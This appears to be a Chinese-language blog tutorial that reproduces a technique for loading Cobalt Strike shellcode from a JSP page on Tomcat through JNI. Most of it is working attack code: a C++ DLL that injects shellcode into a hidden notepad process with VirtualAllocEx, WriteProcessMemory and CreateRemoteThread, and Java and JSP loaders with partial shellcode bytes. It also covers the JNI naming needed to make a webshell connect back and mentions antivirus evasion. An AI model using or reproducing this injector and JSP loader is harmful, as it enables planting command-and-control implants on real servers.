jsp文件加载shellcode上线cobaltstrike实现

​ 之前浏览github时候发现https://github.com/Ramos-dev/R9000/blob/master/README.md项目,作者实现了通过JAVA加载shellcode上线cobaltstrike的功能,因为关于JAVA加载shellcode上线cobaltstrike的文章和方法不是很多,其免杀的情况也不清楚,因此打算写一篇文章复现和分析如何通过JAVA加载shellcode上线cobaltstrike

​ 通过查阅资料,目前已有的方法是用过JNI和JNA来实现注入shellcode的,所以先了解下JNI。

JNI

什么是JNI?

JNI是Java Native Interface的缩写,即Java本地接口。 它定义了一种虚拟机中的Java代码与用C/C++编写的本地代码交互的方式。支持从动态库中加载代码。使用JNI技术可以通过JAVA调用C/C++代码,也可以通过C/C++的代码调用Java的代码。

为什么使用JNI?

  • 可以复用C/C++实现好的动态链接库。
  • 编译为so/dll文件相对于JAVA class对象更加安全
  • C/C++开发更偏向底层,运行效率更高,也能使JAVA访问底层的特性。

如何使用JNI?

编写JAVA类

1
2
3
4
5
6
7
8
9
10
11
public class Hello {
//声明一个native方法,该方法在C中实现
public native void testHello();

public static void main(String[] args){
//加载C文件
System.loadLibrary("TestJNI");
Hello jniDemo = new Hello();
jniDemo.testHello();
}
}

生成C文件头

javah -classpath . -jni Hello

image-20210105165305767

创建DLL项目

​ 使用visual studio创建DLL项目,并创建一个test666.cpp文件。

image-20210105170652974

导入头文件

​ 在JDK下的include目录下找到jni.h,include/win32下找到jni_md.h还有之前编译好的Hello.h文件拷贝到项目目录下。

image-20210105171507598

​ 再将这三个头文件导入到项目中

image-20210105171711628

​ 在jni.h中,主要包含一些类型的定义和函数的声明,如下所示:

image-20210105173642399

image-20210105173708526

​ 在jin_md.h中,主要是对一些关键字声明

image-20210105173938940

​ 在Hello.h提示找不到jni.h,这里需要将<>改为“”

image-20210105174702474

image-20210105174824808

编写testHello函数

1
2
3
4
5
6
#include "test666.h"
#include "Hello.h"

JNIEXPORT void JNICALL Java_Hello_testHello(JNIEnv*, jobject) {
printf("this is C++ print");
}

​ JNIEXPORT的定义为#define JNIEXPORT __declspec(dllexport),__declspec(dllexport)用于Windows中的动态库中,声明导出函数、类、对象等供外面调用,也就是将这个函数声明为导出函数,供其他函数调用。 JNICALL的定义为__stdcall,代表系统调用。JNIEnv_是一个封装了几乎全部 JNI 方法的一个结构体。使用的函数名为Hello.h中定义的函数名。

image-20210106094104524

​ 使用x64编译好后,会生成一个DLL文件

image-20210106095459727

​ 在IDEA中 VM options选项中设置路径DLL文件绝对路径-Djava.library.path=C:\xxx\xxx\source\repos\JNI_Dll\x64\Release

image-20210106100237210

​ 即可正常运行JNI函数。

image-20210106100447172

​ 也可以使用System.load("C:\\xxxx\\xxxx\\source\\repos\\JNI_Dll\\x64\\Release\\JNI_Dll.dll");的方式加载DLL并执行其中的导出函数。

image-20210106100923974

如何调试JNI?

​ 在使用JNI时,由于DLL无法独立运行,遇到错误不方便调试,所以需要了解下如何调试JNI。

​ 首先以Debug模式运行JAVA项目,并在调用JNI函数时打上断点。

image-20210106102327645

​ 使用JAVA自带的工具jps找到运行当前类所对应的进程ID

image-20210106102413186

​ 在vs中在需要调试的函数处打断点,选择调试-》附加到进程-》找到需要调试的类的进程

image-20210106102543581

​ 附加到进程后,在JAVA中执行步过,即可运行到JNI函数处。

image-20210106102714754

如何利用JNI加载shellcode?

​ 首先编写java文件,调用native层的函数inject,并传入shellcode。

1
2
3
4
5
6
7
8
9
10
11
public class Hello {
public native void inject(byte[] me);

public static void main(String[] args){
byte buf[] = new byte[] { (byte)0xfc, (byte)0x48, (byte)0x83, (byte)0xe4, (byte)0xf0, (byte)0xe8, (byte)0xc8, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x41, (byte)0x51, (byte)0x41, (byte)0x50, }; //生成的java类型的shellcode
System.load("C:\\xxx\\xx\\xxx\\JNI_Dll.dll");
Hello jniDemo = new Hello();
jniDemo.inject(buf);
}
}

​ 编写C++文件,分配内存并将shellcode加载到内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#define _CRT_SECURE_NO_WARNINGS

#include "test666.h"
#include <Windows.h>
#include "Hello.h"

using namespace std;

void inject(LPCVOID buffer, int length);

JNIEXPORT void JNICALL Java_Hello_inject(JNIEnv * env, jobject object, jbyteArray jdata){
jbyte* data = env->GetByteArrayElements(jdata, 0);
jsize length = env->GetArrayLength(jdata);
inject((LPCVOID)data,(SIZE_T)length);
env->ReleaseByteArrayElements(jdata, data, 0);
}

void inject(LPCVOID buffer, int length) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hProcess = NULL;
SIZE_T wrote;
LPVOID ptr;
char lbuffer[1024];
char cmdbuff[1024];

/* reset some stuff */
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

/* start a process */
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = NULL;
si.hStdError = NULL;
si.hStdInput = NULL;

/* resolve windir? */
GetEnvironmentVariableA("windir", lbuffer, 1024);

/* setup our path... choose wisely for 32bit and 64bit platforms */
#ifdef _IS64_
_snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
#else
_snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
#endif

/* spawn the process, baby! */
if(!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
return;

hProcess = pi.hProcess;
if (!hProcess)
return;

/* allocate memory in our process */
ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

/* write our shellcode to the process */
WriteProcessMemory(hProcess, (LPTHREAD_START_ROUTINE)ptr, buffer, (SIZE_T)length, (SIZE_T*)&wrote);
if (wrote != length)
return;

/* create a thread in the process */
CreateRemoteThread(hProcess, NULL, 0,(LPTHREAD_START_ROUTINE)ptr, NULL, 0, NULL);
}

​ 执行java文件,加载shellcode上线

image-20210106141335054

​ 但当我把这个java代码改为jsp脚本在tomcat上执行却会报错,即使将JNI函数中的内容清空仍然会报这个错。

image-20210106160224472

​ 但是这个代码在JAVA中运行却没有问题,为什么在写JSP在tomcat下运行就会有问题,之前我们了解过JNI函数的调用和函数名有关系,JNI函数的函数名必须为JAVA_包名_类名_函数名这种形式,而JSP脚本本身是无法运行的,在tomcat中会将jsp脚本转化为java再编译为class文件运行。而生成的这个JAVA文件是以org.apache.jsp为包名,文件名_jsp为类名运行的。经过这层转变JNI函数中的函数名已经不符合要求了,自然无法成功调用。

image-20210106160759454

​ 所以我们声明的类文件必须再org.apache.jsp包下,并且外部类的类名应该为文件名_jsp,我们需要调用的JNI函数应该定义再内部类中,我这里假如我想使用test.jsp文件加载shellcode上线。首先写一个java文件内容如下。

1
2
3
4
5
6
7
8
9
package org.apache.jsp;

public class test_jsp {
class JniClass
{
public native void inject(byte[] me);
}
}

​ 使用javac编译该文件,会生成两个class类文件。

image-20210106161604711

​ 因为要调用的JNI函数是写在内部类中,所以需要以内部类生成一个头文件,将目录切换到src目录下,执行javah org.apache.jsp.test_jsp$JniClass生成需要的头文件。

image-20210106161810624

​ 将生成的org.apache.jsp.test_jsp$JniClass.h放到C++的项目目录下,再添加到头文件中

image-20210106162256764

​ 最后编写test.cpp文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* DO NOT EDIT THIS FILE - it is machine generated */
#include "jni.h"
/* Header for class org_apache_jsp_test_jsp_JniClass */

#ifndef _Included_org_apache_jsp_test_jsp_JniClass
#define _Included_org_apache_jsp_test_jsp_JniClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: org_apache_jsp_test_jsp_JniClass
* Method: inject
* Signature: ([B)V
*/
JNIEXPORT void JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_inject
(JNIEnv *, jobject, jbyteArray);

#ifdef __cplusplus
}
#endif
#endif

​ 编写test.jsp,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class JniClass {
public native void inject(byte[] me);
}
%>
<%
byte buf[] = new byte[] { (byte)0xfc, (byte)0x48, (byte)0x83, (byte)0xe4, (byte)0xf0, (byte)0xe8, (byte)0xc8, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x41, (byte)0x51, (byte)0x41, (byte)0x50, (byte)0x52, (byte)0x51, (byte)0x56, (byte)0x48, (byte)0x31,xxx };// JAVA SHELLCODE

System.load("C:\\XXX\\XXX\\XXX\\JNI_Dll.dll");
JniClass jniDemo = new JniClass();
jniDemo.inject(buf);
%>

​ 访问jsp即可上线。

image-20210106174003896